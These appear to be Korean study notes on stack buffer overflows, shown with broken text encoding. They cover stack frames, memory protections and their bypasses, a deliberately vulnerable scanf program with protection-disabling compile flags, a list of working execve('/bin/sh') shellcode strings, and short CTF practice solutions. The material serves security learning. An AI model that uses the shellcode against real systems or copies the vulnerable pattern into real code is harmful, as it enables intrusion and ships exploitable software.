๐ ์ง๋ ์ฐจ์
1. ํจ์์ ์คํ ํ๋ ์
ํจ์ ํธ์ถ ๊ณผ์
> ํจ์๊ฐ ์ฌ์ฉํ ์ธ์๋ฅผ ์คํ์ ๋ฃ๊ณ ํจ์ ์์์ง์ ์ผ๋ก ์ ํ
> ํจ์ ๋ด์์ ์ฌ์ฉํ ์คํ ํ๋ ์ ์ค์
> ํจ์ ๋ด์ฉ ์คํ
> ์คํ์ ๋ง์น ํ, ํธ์ถ ์ง์ ์ผ๋ก ๋์๊ฐ๊ธฐ ์ํด ์คํ ๋ณต์
#include <stdio.h>
int add(int a, int b){
return a+b;
}
int main(){
int result = add(2,3);
printf("2+3 = %d\n", result);
return 0;
}
Buffer |
SFP |
RET |
addํจ์ ํธ์ถ ์ ์คํ ํ๋ ์
Buffer |
SFP |
RET |
a |
b |
Buffer |
SFP |
RET |
addํจ์ ํธ์ถ ํ ์คํ ํ๋ ์
< ํจ์์ ํ๋กค๋ก๊ทธ >
< ํจ์์ ์ํ๋ก๊ทธ >
์ ์ผ ์์ ์๋ SFP๋ฅผ POP์์ผ์ EBP๋ ์ง์คํฐ์ ๋ฃ๋๋ค.
์คํํ๋ ์(Stack Frame) ์ด๋? - eli_ez3r Hacking Blog
์คํ ํ๋ ์(Stack Frame)์ด๋ ํจ์๊ฐ ํธ์ถ๋ ๋, ๊ทธ ํจ์๋ง์ ์คํ ์์ญ์ ๊ตฌ๋ถํ๊ธฐ ์ํ์ฌ ์์ฑ๋๋ ๊ณต๊ฐ์ด๋ค. ์ด ๊ณต๊ฐ์๋ ํจ์์ ๊ด๊ณ๋๋ ์ง์ญ ๋ฒ์, ๋งค๊ฐ๋ณ์๊ฐ ์ ์ฅ๋๋ฉฐ, ํจ์ ํธ์ถ ์ ํ ๋น
eliez3r.github.io
-> ์ ์ ๋ฆฌ๋์ด์๋ ๋ธ๋ก๊ทธ
2. ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ
- ๋ฐ์ด๋๋ฆฌ์ ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ๊ธฐ๋ฒ ํ์ธ
- $checksec --file [filename]
- gdb ์คํ ํ "checksec"
ASLR(Address Space Layout Randomization)
- ์คํ ํ์ผ๊ณผ ๊ด๋ จ๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ, ์คํ, ํ์ด ๋งคํ๋๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์ฃผ์๋ฅผ ๋๋ค์ผ๋ก ๋ฐฐ์นํ๋ ๊ฒ
- ์คํํ ๋๋ง๋ค ์์ญ์ ์ฃผ์๊ฐ ๋๋ค์ ์ผ๋ก ๊ณ์ ๋ณ๊ฒฝ๋จ
- ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๊ฐ ๊ณ ์ ๋ ์ฃผ์๋ฅผ ์ด์ฉํ์ฌ ์คํ ํ๋ฆ์ ๋ณ๊ฒฝํ๊ฑฐ๋ ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๋ ๊ฒ์ ๋ง์
=> ์ฐํ ๋ฐฉ๋ฒ : ๋ฉ๋ชจ๋ฆฌ ๋ฆญ(์ ์ถ)์ ํตํด ์ฐํ
/proc/self/maps์ ํตํด ํ์ธ ๊ฐ๋ฅ, vmmap์ผ๋ก ํ์ธ ๊ฐ๋ฅ
NX(No-eXecute) bit
: ์คํ, ํ, ๋ฐ์ดํฐ ์์ญ์์ ์ฝ๋๊ฐ ์คํ๋๋ ๊ฒ์ ๋ง๋ ๊ธฐ๋ฒ
: ์๋์ฐ์์๋ DEP(Data Execution Prevention)์ด๋ผ ๋ถ๋ฆ
: Shellcode๋ก ์ธํ ๊ณต๊ฒฉ์ ๋ง์ ์ ์์
=> ์ฐํ ๋ฐฉ๋ฒ : mprotect ํจ์ ์ด์ฉ, RTL, ROP ๊ธฐ๋ฒ์ผ๋ก ์ฐํ
-z execstack ์ผ๋ก NX bit๋ฅผ Disable ํ ์ ์์
SSP(Stack Smashing Protector) - Stack Canary
: ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ง๊ธฐ ์ํ ๊ธฐ๋ฒ
: Buffer์ SFP ์ฌ์ด์ ๋๋คํ (4/8)๋ฐ์ดํธ์ Canary ๊ฐ์ ์ฝ์
: ํจ์ ์ง์ ์ ์นด๋๋ฆฌ ๊ฐ์ ์ค์ ํ๊ณ ํจ์ ์ข ๋ฃ์ ๋ณ์กฐ ๋๋์ง ํ์ธ(๋ณ์กฐ ๋์ผ๋ฉด ํ๋ก๊ทธ๋จ ์ข ๋ฃ)
=> ์ฐํ ๋ฐฉ๋ฒ : ๋ฉ๋ชจ๋ฆฌ ๋ฆญ ์ ํตํด ์ฐํ, Brute Force ๋ฑ
์ปดํ์ผ ํ ๋ Canary๋ฅผ ํด์ ํ๋ ์ต์ : -fno-stack-protector
์ปดํ์ผ ํ ๋ Canary๋ฅผ ์ค์ ํ๋ ์ต์ : -fstack-protector
SFP์ RET ๊ฐ์ด ๋ณ์กฐ ๋๋ ๊ฒ์ ๋ง๊ธฐ ์ํจ
PIE(Position-Independent Executables)
: ๋ฐ์ด๋๋ฆฌ ์์ญ์ ์ฃผ์๋ฅผ ๋๋คํ, ์คํ๋ง๋ค ๋ฐ์ด๋๋ฆฌ ์์ญ์ ์ฃผ์๊ฐ ๋ณ๊ฒฝ๋จ
: ASLR๊ณผ PIE๋ ๋ค๋ฆ ( ASLR์ OS ์ต์ , PIE๋ ์ปดํ์ผ ์ต์ ์ผ๋ก ๋ฐ์ด๋๋ฆฌ์ ์ ์ฉ )
: 0x400000์ ๋งคํ๋๋ ์ผ๋ฐ์ ์ธ ๋ฐ์ด๋๋ฆฌ์ ๋ค๋ฅด๊ฒ Base Address๊ฐ ๋งค๋ฒ ๋ฐ๋
=> ์ฐํ ๋ฐฉ๋ฒ : ๋ฉ๋ชจ๋ฆฌ ๋ฆญ ์ ํตํด ์ฐํ
์ปดํ์ผ : -no-pie(PIE ํด์ ), -fpie -pie(PIE ์ค์ )
RELRO(RELocation Read-Only)
: GOT Overwrite ๊ณต๊ฒฉ์ ๋๋นํ์ฌ ELF ๋ฐ์ด๋๋ฆฌ ๋๋ ํ๋ก์ธ์ค์ ๋ฐ์ดํฐ ์น์ ์ ๋ณดํธํ๋ ๊ธฐ์
: ๋ฉ๋ชจ๋ฆฌ ํน์ ์์ญ์ ๋ฎ์ด์ธ ์ ์๋๋ก ํจ
: PARTIAL-RELRO : ctors, dtors, dynamic Section Read-Only
: FULL-RELRO : got Section Read-Only
์ปดํ์ผ : -z norelro(NO-RELRO), -z relro(PARTIAL-RELRO), -z relro -z now(FULL-RELRO)
3. Stack Buffer Overflow
- Stack ์์ญ์์ ๋ฐ์ํ๋ Memory Corruption
- ์ง์ ๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ๋ฒ์ด๋ ๋ค๋ฅธ ์์ญ์ ์นจ๋ฒํ๋ ๊ฒ
#include <stdio.h>
int main(){
char buf1[] = "Hello This is BufferOverflow";
char buf2[20] = {0, };
printf("input buf2 : ");
scanf("%s", buf2);
printf("buf 1 : %s\n", buf1);
printf("buf 2 : %s\n", buf2);
return 1;
}
gcc -o bof1 bof.c -z execstack -fno-stack-protector -no-pie
์คํ ๋ฒํผ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ ์ด์ :
๊ธธ์ด ์ ํ์ ํ์ง ์๊ธฐ ๋๋ฌธ
์ทจ์ฝํ ํจ์๋ค :
scanf, gets, sprintf ( ์ ๋ ฅ ๊ธธ์ด ๊ฒ์ฌX )
strcpy, strcat ( ๋ณต์ฌ ๊ธธ์ด ๊ฒ์ฌX )
read, fgets ( ์๋ชป๋ ๊ธธ์ด ์ค์ )
์คํ ๋ฒํผ์ค๋ฒํ๋ก์ฐ๋ก ํ ์ ์๋ ๊ฒ :
ํ๋ก๊ทธ๋จ์ ์คํ ํ๋ฆ ๋ณ๊ฒฝ
๋ค๋ฅธ ๋ณ์์ ๊ฐ ๋ณ๊ฒฝ
์ํ๋ ์ฝ๋ ์คํ ๊ฐ๋ฅ
shellcode ์์ฝ๋ :
- 32bit execve(/bin/sh, 0, 0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
- 64bit execve(/bin/sh, 0, 0)
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
4. Stack Buffer Overflow ์ค์ต ๋ฌธ์ ํ์ด
๋ฌธ์ ํ์ด1 : overwrite_variable64
char v4[32];
char s1[32];
( ๋จผ์ ์ ์ธ๋๋ฉด ์คํ์ ๋จผ์ ์์ด๋ ๊ฒ ์๋๊ฐ? )
v4๋ฅผ 'A'๋ก ์ฑ์์ฃผ๊ณ s1์ 'PwnPwn..' ์ผ๋ก ๋ฎ๋๋ค.
๋ฌธ์ ํ์ด2 : memory_leak
์ ๋ ฅํ ๊ฒ์ ๊ทธ๋๋ก ๋ค์ ์ถ๋ ฅํด์ค๋ค.
v3 | fd | src[48] | s[48] | buf[40] |
(์ ๋ ฅ) | (์ ๋ ฅ๊ฐ ๋ณต์ฌ) | FLAG |
scanf("%77s", src)์ 48๊ธ์๋ฅผ ์ ๋ ฅํ๋ฉด,
stncpy(s, src, v3)์ ์ํด FLAG์ ๊น์ง ๋ฒํผ๊ฐ ์ฐจ๊ฒ ๋๋ค.
puts(s)๋ฅผ ํตํด s๋ฅผ ์ถ๋ ฅํ๋๋ฐ, puts๋ '\0'์ด ๋์ค๊ธฐ ์ ๊น์ง ์ถ๋ ฅํด์ฃผ๋ฏ๋ก FLAG๊น์ง ์ถ๋ ฅ๋๋ค.
๋ฌธ์ ํ์ด3 : overwrite_ret64
์คํํ ๋๋ง๋ค ๋ฒํผ์ ์ฃผ์๊ฐ ๋ฐ๋๊ณ ์๋ค => ASLR
ํ์ด๋ ๋ค์ ์ฃผ์ฐจ์์!
โญ๊ณต๋ถํ ๊ฒ๋ค
1. ๋ฉ๋ชจ๋ฆฌ ๋ณดํธ ๊ธฐ๋ฒ ๋ ๊ตฌ๊ธ๋งํด๋ณด๊ธฐ
2. ์คํ ๋ฒํผ์ค๋ฒํ๋ก์ฐ ์๊ฒ์ ๋ง์ด ํ์ด